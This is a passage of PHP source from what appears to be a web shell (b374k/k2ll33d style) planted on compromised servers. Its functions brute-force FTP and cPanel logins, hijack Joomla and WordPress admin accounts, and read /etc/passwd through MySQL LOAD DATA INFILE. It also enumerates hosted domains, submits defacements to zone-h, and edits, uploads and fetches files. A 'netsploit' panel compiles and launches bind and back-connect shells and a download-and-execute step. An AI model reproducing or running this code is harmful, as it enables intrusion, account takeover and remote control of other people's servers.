if(!(isset($sites[$n+$p]))){$pause=$w;break;}$posts[$w]="defacer=$defacer&domain1=http%3A%2F%2F".rtrim($sites[$n+$p])."&domain2=http%3A%2F%2F".rtrim($sites[$n+$p+1])."&domain3=http%3A%2F%2F".rtrim($sites[$n+$p+2])."&domain4=http%3A%2F%2F".rtrim($sites[$n+$p+3])."&domain5=http%3A%2F%2F".rtrim($sites[$n+$p+4])."&domain6=http%3A%2F%2F".rtrim($sites[$n+$p+5])."&domain7=http%3A%2F%2F".rtrim($sites[$n+$p+6])."&domain8=http%3A%2F%2F".rtrim($sites[$n+$p+7])."&domain9=http%3A%2F%2F".rtrim($sites[$n+$p+8])."&domain10=http%3A%2F%2F".rtrim($sites[$n+$p+9])."&hackmode=".$method."&reason=".$reason."&submit=Send";$curlopt=array(CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1;WOW64) AppleWebKit/535.16 (KHTML, like Gecko) Chrome/18.0.1003.1 Safari/535.16',CURLOPT_RETURNTRANSFER => true,CURLOPT_FOLLOWLOCATION =>true,CURLOPT_ENCODING => true,CURLOPT_HEADER => false,CURLOPT_HTTPHEADER => array("Keep-Alive: 7"),CURLOPT_CONNECTTIMEOUT => 3,CURLOPT_URL => 'http://www.zone-h.com/notify/mass',CURLOPT_POSTFIELDS => $posts[$w]);
curl_setopt_array($http[$w],$curlopt);curl_multi_add_handle($main,$http[$w]);}$running = null;
do{curl_multi_exec($main,$running);}while($running > 0);
for($m=0;$m<3;$m++){if($pause==$m){break;}
curl_multi_remove_handle($main, $http[$m]);$code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
if ($code != 200) {while(true){echo' [-]Error!....Retrying';echo "\n";
sleep(5);curl_exec($http[$m]);$code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE);
if( $code== 200){break 1;}}}}}$end= time() - $start;
echo 'Done';echo "\n\n[*]Time: $end seconds\n";curl_multi_close($main);if($cli==0){echo '</pre></body></html>';}exit;}
elseif(isset($_GET['x']) && ($_GET['x'] == 'brute')){$connect_timeout=5;
set_time_limit(0);$submit=$_REQUEST['submit'];$users=$_REQUEST['users'];$pass=$_REQUEST['passwords'];$target=$_REQUEST['target'];$cracktype=$_REQUEST['cracktype'];
if($target == ""){$target = "localhost";}?><div align="center"><form method="POST" style="border: 1px solid #000000"><br><?php
function ftp_check($host,$user,$pass,$timeout){
$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "ftp://$host");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);curl_setopt($ch, CURLOPT_FAILONERROR, 1);$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {print "<b>Connection Timed out</b>";exit;}
elseif ( curl_errno($ch) == 0 ){print "<table width='67%'><tr><td align=center><b>Username ($user) | Password ($pass)</b></td></tr></table>";}curl_close($ch);}
function cpanel_check($host,$user,$pass,$timeout){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "http://$host:2082");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);curl_setopt($ch, CURLOPT_FAILONERROR, 1);$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {print "<b>Connection Timed out</b>";exit;}
elseif ( curl_errno($ch) == 0 ){
print "<table width='67%'><tr><td align=center><b>[+]Username ($user) | Password ($pass)</b></td></tr></table>";}curl_close($ch);}if(isset($submit) && !empty($submit)){
if(empty($users) && empty($pass)){print "<p><b>Error : Check The Users and Password List</b></p>";exit;}
if(empty($users)){print "<p><b>Error :Check The Users List</b></p>";exit;}if(empty($pass) ){print "<p><b>Error :Check The Password List</b></p>";exit;};
$userlist=explode("\n",$users);$passlist=explode("\n",$pass);print "<b>[~] Wait ...</b><br><br>";foreach ($userlist as $user) {$pureuser = trim($user);foreach ($passlist as $password ) {$purepass = trim($password);if($cracktype == "ftp"){ftp_check($target,$pureuser,$purepass,$connect_timeout);}if ($cracktype == "cpanel"){cpanel_check($target,$pureuser,$purepass,$connect_timeout);}}}}                                
echo "<form method=POST action=''><table width='67%'><tr><td><br><p align='center'><b><span lang='en-us'>IP</span> :<input class='inputz' type='text' name='target' size='16' value=$target></b></p><div align='center'><p align='center'>users<textarea class='inputz' cols=20 rows=20 name='users'>";
system('ls /var/mail');
echo "</textarea>passwords<textarea class='inputz' cols=20 rows=20 name='passwords'>123123\n123456\n1234567\n12345678\n123456789\n159159\n112233\nadmin\n332211\n1478963\npassword\npasswd\n159357\n357951\n114477\npass\nPassword</textarea><br><br><input name='cracktype' value='cpanel' checked type='radio'></span><b>Cpanel(2082)</b><input name='cracktype' value='ftp' style='font-weight: 700;' type='radio'></font></font><font style='font-weight: 700;' size='2' face='Tahoma'><span style='font-weight: 700;'>Ftp (21)</span></p><br><center><input class='inputzbut' type='submit' value='Start Cracking' name='submit'></center></td></tr></table></td></tr></form>";die();}
elseif(isset($_GET['x']) && ($_GET['x'] == 'joomla')){if(empty($_POST['pwd'])){echo "<br><br><br><FORM method='POST'><br><br><br>DB_Prefix :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='jos_' name='prefix' type='text'>&nbsp;host :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='localhost' name='localhost' type='text'>&nbsp;database :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='database' name='database' type='text'>&nbsp;username :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;password :&nbsp;&nbsp;<INPUT class ='inputz' size='15' value='db_pass' name='password' type='text'><br>&nbsp;&nbsp;<br>New Username:&nbsp;&nbsp;<INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New Password:&nbsp;&nbsp;<INPUT class ='inputz' name='pwd' size='15' value='123123'><br><br>&nbsp;&nbsp;<INPUT value='change' class='inputzbut' name='send' type='submit'></FORM>";}else {$prefix = $_POST['prefix'];$localhost = $_POST['localhost'];$database  = $_POST['database'];$username  = $_POST['username'];$password  = $_POST['password'];$admin = $_POST['admin'];$pd = ($_POST["pwd"]);$pwd = md5($pd);@mysql_connect($localhost,$username,$password) or die (mysql_error());@mysql_select_db($database) or die (mysql_error());$SQL=@mysql_query("UPDATE ".$prefix."users SET username ='".$admin."' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die (mysql_error());$SQL=@mysql_query("UPDATE ".$prefix."users SET password ='".$pwd."' WHERE name = 'Super User' or name = 'Super Utilisateur' or id='62'") or die (mysql_error());if($SQL) echo "<br><br><center><h1>Done... go and login</h1></center>";}}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql')){if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])){$sqlhost = $_GET['sqlhost'];$sqluser = $_GET['sqluser'];$sqlpass = $_GET['sqlpass'];$sqlport = $_GET['sqlport'];if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){$msg .= "<div style='width:99%;padding:4px 10px 0 10px;'>";$msg .= "<p>Connected to ".$sqluser."<span class='gaya'>@</span>".$sqlhost.":".$sqlport;$msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;'>[ databases ]</a>";
if(isset($_GET['db'])) $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."'>".htmlspecialchars($_GET['db'])."</a>";
if(isset($_GET['table'])) $msg .= "&nbsp;&nbsp;<span class='gaya'>-&gt;</span>&nbsp;&nbsp;<a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$_GET['db']."&amp;table=".$_GET['table']."'>".htmlspecialchars($_GET['table'])."</a>";$msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";$msg .= "</div>";echo $msg;
if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){$db = $_GET['db'];$query = "DROP TABLE IF EXISTS b374k_table;\nCREATE TABLE `b374k_table` ( `file` LONGBLOB NOT NULL );\nLOAD DATA INFILE '/etc/passwd'\nINTO TABLE b374k_table;SELECT * FROM b374k_table;\nDROP TABLE IF EXISTS b374k_table;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'><input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>$query</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";$tables = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>available tables on ".$db."</th></tr>";$hasil = @mysql_list_tables($db,$con);
while(list($table) = @mysql_fetch_row($hasil)){@array_push($tables,$table);} @sort($tables);
foreach($tables as $table){$msg .= "<tr><td><a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."&amp;table=".$table."'>$table</a></td></tr>";} $msg .= "</table>";} 
elseif(isset($_GET['table']) && (!isset($_GET['sqlquery']))){
$db = $_GET['db'];$table = $_GET['table'];$query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
$msgq = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
$columns = array();$msg = "<table class='explore' style='width:99%;'>";$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);while(list($column) = @mysql_fetch_row($hasil)){
$msg .= "<th>$column</th>";$kolum = $column;}$msg .= "</tr>";$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
list($total) = mysql_fetch_row($hasil);
if(isset($_GET['z'])) $page = (int) $_GET['z'];
else $page = 1;$pagenum = 100;$totpage = ceil($total / $pagenum);$start = (($page - 1) * $pagenum);$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
while($datas = @mysql_fetch_assoc($hasil)){$msg .= "<tr>";foreach($datas as $data){if(trim($data) == "") 
$data = "&nbsp;";$msg .= "<td>$data</td>";}$msg .= "</tr>";} $msg .= "</table>";$head = "<div style='padding:10px 0 0 6px;'> <form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <input type='hidden' name='table' value='".$table."' /> Page <select class='inputz' name='z' onchange='this.form.submit();'>";
for($i = 1;$i <= $totpage;$i++){$head .= "<option value='".$i."'>".$i."</option>";
if($i == $_GET['z']) $head .= "<option value='".$i."' selected='selected'>".$i."</option>";} $head .= "</select><noscript><input class='inputzbut' type='submit' value='Go !' /></noscript></form></div>";$msg = $msgq.$head.$msg;} 
elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){$db = $_GET['db'];$query = magicboom($_GET['sqlquery']);
$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /> <input type='hidden' name='x' value='mysql' /> <input type='hidden' name='sqlhost' value='".$sqlhost."' /> <input type='hidden' name='sqluser' value='".$sqluser."' /> <input type='hidden' name='sqlport' value='".$sqlport."' /> <input type='hidden' name='sqlpass' value='".$sqlpass."' /> <input type='hidden' name='db' value='".$db."' /> <p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p> <p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p> </form></div> ";
@mysql_select_db($db);$querys = explode(";",$query);
foreach($querys as $query){if(trim($query) != ""){$hasil = mysql_query($query);
if($hasil){$msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query.";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";$msg .= "<table class='explore' style='width:99%;'><tr>";
for($i=0;$i<@mysql_num_fields($hasil);$i++) 
$msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";$msg .= "</tr>";
for($i=0;$i<@mysql_num_rows($hasil);$i++) 
{$rows=@mysql_fetch_array($hasil);$msg .= "<tr>";
for($j=0;$j<@mysql_num_fields($hasil);$j++) {
if($rows[$j] == "") $dataz = "&nbsp;";
else $dataz = $rows[$j];$msg .= "<td>".$dataz."</td>";} $msg .= "</tr>";} $msg .= "</table>";} 
else $msg .= "<p style='padding:0;margin:20px 6px 0 6px;'>".$query.";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> error <span class='gaya'>]</span></p>";} } } 
else {$query = "SHOW PROCESSLIST;\nSHOW VARIABLES;\nSHOW STATUS;";$msg = "<div style='width:99%;padding:0 10px;'><form action='?' method='get'> <input type='hidden' name='y' value='".$pwd."' /><input type='hidden' name='x' value='mysql' /><input type='hidden' name='sqlhost' value='".$sqlhost."' /><input type='hidden' name='sqluser' value='".$sqluser."' /><input type='hidden' name='sqlport' value='".$sqlport."' /><input type='hidden' name='sqlpass' value='".$sqlpass."' /><input type='hidden' name='db' value='".$db."' /><p><textarea name='sqlquery' class='output' style='width:98%;height:80px;'>".$query."</textarea></p><p><input class='inputzbut' style='width:80px;' name='submitquery' type='submit' value='Go !' /></p></form></div> ";$dbs = array();$msg .= "<table class='explore' style='width:99%;'><tr><th>available databases</th></tr>";$hasil = @mysql_list_dbs($con);
while(list($db) = @mysql_fetch_row($hasil)){@array_push($dbs,$db);} @sort($dbs);foreach($dbs as $db){
$msg .= "<tr><td><a href='?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."'>$db</a></td></tr>";} $msg .= "</table>";} 
@mysql_close($con);} else $msg = "<p style='text-align:center;'>can't connect</p>";echo $msg;} else{?> 
<form action="?" method="get"><input type="hidden" name="y" value="<?php echo $pwd;?>" /> <input type="hidden" name="x" value="mysql" /><br><br><br><table class="tabnet" style="width:300px;"> <tr><th colspan="2">MySQL Connect</th></tr> <tr><td>&nbsp;&nbsp;Host</td><td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr> <tr><td>&nbsp;&nbsp;Username</td><td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr> <tr><td>&nbsp;&nbsp;Password</td><td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr> <tr><td>&nbsp;&nbsp;Port</td><td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td></tr></table></form> 
<?php }}
elseif(isset($_GET['x']) && ($_GET['x'] == 'domains')){echo "<br><br><p align=center>Domains and Users</p>";$d0mains = @file("/etc/named.conf");
if(!$d0mains){die("<center>Error : i can't read [ /etc/named.conf ]</center>");}echo '<table id="output"><tr bgcolor=#cecece><td>Domains</td><td>users</td></tr>';
foreach($d0mains as $d0main){if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);flush();if(strlen(trim($domains[1][0])) > 2){$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>";flush();}}}}
elseif(isset($_GET['x']) && ($_GET['x'] == 'wordpress')){if(empty($_POST['pwd'])){echo "<br><br><br><br><br><br><FORM method='POST'>DB_Prefix :  <INPUT class ='inputz' size='15' value='wp_' name='prefix' type='text'>&nbsp;&nbsp;host     :  <INPUT class ='inputz' size='15' value='localhost' name='localhost' type='text'>&nbsp;&nbsp;database :  <INPUT class ='inputz' size='15' value='Database' name='database' type='text'>&nbsp;&nbsp;username :  <INPUT class ='inputz' size='15' value='db_user' name='username' type='text'>&nbsp;&nbsp;password :  <INPUT class ='inputz' size='15' value='db_pass' name='password' type='text'>&nbsp;&nbsp;<br><br>New username :  <INPUT class ='inputz' name='admin' size='15' value='k2'><br><br>New password :  <INPUT class ='inputz' name='pwd' size='15' value='123123'><br>&nbsp;&nbsp;<br><INPUT class='inputzbut' value='change' name='send' type='submit'></FORM>";}else{$prefix = $_POST['prefix'];$localhost = $_POST['localhost'];$database= $_POST['database'];$username= $_POST['username'];$password= $_POST['password'];$pwd= $_POST['pwd'];$admin= $_POST['admin'];@mysql_connect($localhost,$username,$password) or die(mysql_error());@mysql_select_db($database) or die(mysql_error());$hash = crypt($pwd);$k2=@mysql_query("UPDATE ".$prefix."users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());$k2=@mysql_query("UPDATE ".$prefix."users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());if($k2){echo '<br><br><center><h1>Done ... go and login</h1></center>';}}echo '</center>';}
elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){$text = $_POST['code'];?><center><form method="post"><br><br><br><textarea class='inputz' cols=80 rows=5 name="code">k2ll33d</textarea><br><br><select class='inputz' size="1" name="ope"><option value="base64">Base64</option><option value="md5">md5</option><option value="whash">Crypt</option><option value="SHA1">SHA1</option><option value="urlencode">URL Encoding</option><option value="md4">md4</option><option value="SHA256">SHA256</option></select>&nbsp;<input class='inputzbut' type='submit' value='encrypt'></form><?php $op = $_POST["ope"];switch ($op) {case 'base64': $codi=base64_encode($text);break;case 'md5' : $codi=md5($text);break;case 'whash' : $codi=crypt($text);break;case 'SHA1' : $codi=sha1($text);break;case 'urlencode' : $codi=urlencode($text);break;case 'md4' : $codi=hash("md4",$text);break;case 'SHA256' : $codi=hash("sha256",$text);break;default:break;}echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center>';}
elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){@ob_start();@eval("phpinfo();");$buff = @ob_get_contents();@ob_end_clean();$awal = strpos($buff,"<body>")+6;$akhir = strpos($buff,"</body>");echo "<div class='phpinfo'>".substr($buff,$awal,$akhir-$awal)."</div>";} 
elseif(isset($_GET['view']) && ($_GET['view'] != "")){if(is_file($_GET['view'])){if(!isset($file))$file = magicboom($_GET['view']);if(!$win && $posix){$name=@posix_getpwuid(@fileowner($file));$group=@posix_getgrgid(@filegroup($file));$owner = $name['name']."<span class='gaya'> : </span>".$group['name'];} else {$owner = $user;}$filn = basename($file);echo "<table style='margin:6px 0 0 2px;line-height:20px;'> <tr><td>Filename</td><td><span id='".clearspace($filn)."_link'>".$file."</span> <form action='?y=".$pwd."&amp;view=$file' method='post' id='".clearspace($filn)."_form' class='sembunyi' style='margin:0;padding:0;'> <input type='hidden' name='oldname' value='".$filn."' style='margin:0;padding:0;' /> <input class='inputz' style='width:200px;' type='text' name='newname' value='".$filn."' /> <input class='inputzbut' type='submit' name='rename' value='rename' /> <input class='inputzbut' type='submit' name='cancel' value='cancel' onclick='tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');' /> </form> </td></tr> <tr><td>Size</td><td>".ukuran($file)."</td></tr> <tr><td>Permission</td><td>".get_perms($file)."</td></tr> <tr><td>Owner</td><td>".$owner."</td></tr> <tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr> <tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr> <tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr> <tr><td>Actions</td><td><a href='?y=$pwd&amp;edit=$file'>edit</a> | <a href=\"javascript:tukar(\"".clearspace($filn)."_link','".clearspace($filn)."_form\");\">rename</a> | <a href='?y=$pwd&amp;delete=$file'>delete</a> | <a href='?y=$pwd&amp;dl=$file'>download</a>&nbsp;(<a href='?y=$pwd&amp;dlgzip=$file'>gzip</a>)</td></tr> <tr><td>View</td><td><a href='?y=".$pwd."&amp;view=".$file."'>text</a> | <a href='?y=".$pwd."&amp;view=".$file."&amp;type=code'>code</a> | <a href='?y=".$pwd."&amp;view=".$file."&amp;type=image'>image</a></td></tr></table>";
if(isset($_GET['type']) && ($_GET['type']=='image')){echo "<div style='text-align:center;margin:8px;'><img src='?y=".$pwd."&amp;img=".$filn."'></div>";} 
elseif(isset($_GET['type']) && ($_GET['type']=='code')){echo "<div class='viewfile'>";$file = wordwrap(@file_get_contents($file),"240","\n");@highlight_string($file);echo "</div>";} else {echo "<div class='viewfile'>";echo nl2br(htmlentities((@file_get_contents($file))));echo "</div>";}}elseif(is_dir($_GET['view'])){echo showdir($pwd,$prompt);}}
elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){if(isset($_POST['save'])){$file = $_POST['saveas'];$content = magicboom($_POST['content']);if($filez = @fopen($file,"w")){$time = date("d-M-Y H:i",time());if(@fwrite($filez,$content)) $msg = "file saved <span class='gaya'>@</span> ".$time;else $msg = "failed to save";@fclose($filez);}else $msg = "permission denied";}if(!isset($file))$file = $_GET['edit'];if($filez = @fopen($file,"r")){$content = "";
while(!feof($filez)){$content .= htmlentities(str_replace("''","'",fgets($filez)));}
@fclose($filez);}?><form action="?y=<?php echo $pwd;?>&amp;edit=<?php echo $file;?>" method="post"> <table class="cmdbox"> <tr><td colspan="2"> 
<textarea class="output" name="content"> 
<?php echo $content;?></textarea> <tr>
<td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file;?>" />
<input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> 
&nbsp;<?php echo $msg;?></td></tr></table></form> <?php } 
elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){if(isset($_POST['uploadcomp'])){if(is_uploaded_file($_FILES['file']['tmp_name'])){$path = magicboom($_POST['path']);$fname = $_FILES['file']['name'];$tmp_name = $_FILES['file']['tmp_name'];$pindah = $path.$fname;$stat = @move_uploaded_file($tmp_name,$pindah);if ($stat) {$msg = "file uploaded to $pindah";} else $msg = "failed to upload $fname";}else $msg = "failed to upload $fname";} 
elseif(isset($_POST['uploadurl'])){$pilihan = trim($_POST['pilihan']);$wurl = trim($_POST['wurl']);$path = magicboom($_POST['path']);$namafile = download($pilihan,$wurl);$pindah = $path.$namafile;if(is_file($pindah)){$msg = "file uploaded to $pindah";}else $msg ="failed to upload $namafile";}?>
<form action="?y=<?php echo $pwd;?>&amp;x=upload" enctype="multipart/form-data" method="post"><br><br><br>
<table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Local</th></tr> <tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd;?>" /></td></tr> </tr> </table></form> <table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Remote</th></tr> <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd;?>&amp;x=upload"> <table><tr><td>link</td>
<td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://site/file.*"></td></tr> <tr><td colspan="2">
<input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd;?>" /></td></tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td> </tr> </table> <div style="text-align:center;margin:2px;"><?php echo $msg;?></div>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {$port = trim($_POST['port']);$passwrd = trim($_POST['bind_pass']);tulis("bdc.c",$port_bind_bd_c);exe("gcc -o bdc bdc.c");exe("chmod 777 bdc");@unlink("bdc.c");exe("./bdc ".$port." ".$passwrd." &");$scan = exe("ps aux");if(eregi("./bdc $por",$scan)){$msg = "<p>Process successed</p>";} else {$msg = "<p>Process Failed</p>";}} 
elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {$port = trim($_POST['port']);$passwrd = trim($_POST['bind_pass']);tulis("bdp",$port_bind_bd_pl);exe("chmod 777 bdp");$p2=which("perl");exe($p2." bdp ".$port." &");$scan = exe("ps aux");if(eregi("$p2 bdp $port",$scan)){$msg = "<p>Process successed</p>";} else {$msg = "<p>Process Failed</p>";} } 
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {$ip = trim($_POST['ip']);$port = trim($_POST['backport']);tulis("bcc.c",$back_connect_c);exe("gcc -o bcc bcc.c");exe("chmod 777 bcc");@unlink("bcc.c");exe("./bcc ".$ip." ".$port." &");$msg = "trying to connect to ".$ip." on port ".$port." ...";} 
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
$ip = trim($_POST['ip']);$port = trim($_POST['backport']);tulis("bcp",$back_connect);
exe("chmod +x bcp");$p2=which("perl");exe($p2." bcp ".$ip." ".$port." &");
$msg = "Trying to connect to ".$ip." on port ".$port." ...";}
elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {$pilihan = trim($_POST['pilihan']);$wurl = trim($_POST['wurl']);$namafile = download($pilihan,$wurl);
if(is_file($namafile)){$msg = exe($wcmd);}
else $msg = "error: file not found $namafile";}?><br><br><br><br> <table class="tabnet"> <tr><th>Bind Port</th><th>Back connect</th><th>download and Exec</th></tr><tr><td> <table> <form method="post" actions="?y=<?php echo $pwd;?>&amp;x=netsploit"><tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr> <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass;?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select><input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form></table> </td> <td><table> <form method="post" actions="?y=<?php echo $pwd;?>&amp;x=netsploit"><tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"));?>"></td></tr> <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport;?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form></table> </td> <td> <table> <form method="post" actions="?y=<?php echo $pwd;?>&amp;x=netsploit"><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr><tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option><option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td></tr></table><div style="text-align:center;margin:2px;"><?php echo $msg;?></div><br>
<?php
error_reporting(0);
function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
